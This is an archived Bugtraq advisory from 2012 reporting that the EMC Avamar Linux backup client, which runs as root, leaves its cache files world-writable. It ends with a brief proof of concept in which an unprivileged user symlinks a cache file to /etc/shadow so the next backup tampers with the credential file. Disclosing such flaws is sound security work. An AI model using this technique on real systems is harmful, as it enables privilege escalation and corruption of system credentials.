bugtraq - EMC Avamar: World writable cache files

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <C592A6B4-483B-4C2C-A4B4-B4F89CB2F232@greyhat.dk>
Date: Wed, 19 Dec 2012 20:32:37 +0100
From: fulldisclosure <fulldisclosure@...yhat.dk>
To: bugtraq@...urityfocus.com
Subject: EMC Avamar: World writable cache files

Product: Avamar backup client for Linux (Proberly also Unix but not tested)
Vendor: EMC (http://www.emc.com)
Tested version: 6.1.100-402 (Latest)
Vendor Notification: December 17, 2012
Vender Patch: None
Vender Workaround: <quote>workaround is to run a script at the end of each backup which set the files permissions to be read/write for the owner only</quote>
Vender Response: Will maybe be patched in version 7 mid-2013 since EMC does not patch for security
Solution Status: None
Risk Level: High

Details:

The avamar client runs as root and after each backup it leavs the cache files as world writable:

# ls -latr /var/avamar/f_cache.dat 
-rw-rw-rw- 1 root root 11534880 Dec 17 10:30 /var/avamar/f_cache.dat
# ls -latr /var/avamar/p_cache.dat 
-rw-rw-rw- 1 root root 3146272 Dec 17 10:30 /var/avamar/p_cache.dat

Fun && profit:

# id
uid=1000(slave) gid=1000(slave) groups=1000(slave)
# cd /var/avamar
# ln -sf /etc/shadow p_cache.dat

and wait for the next backup window.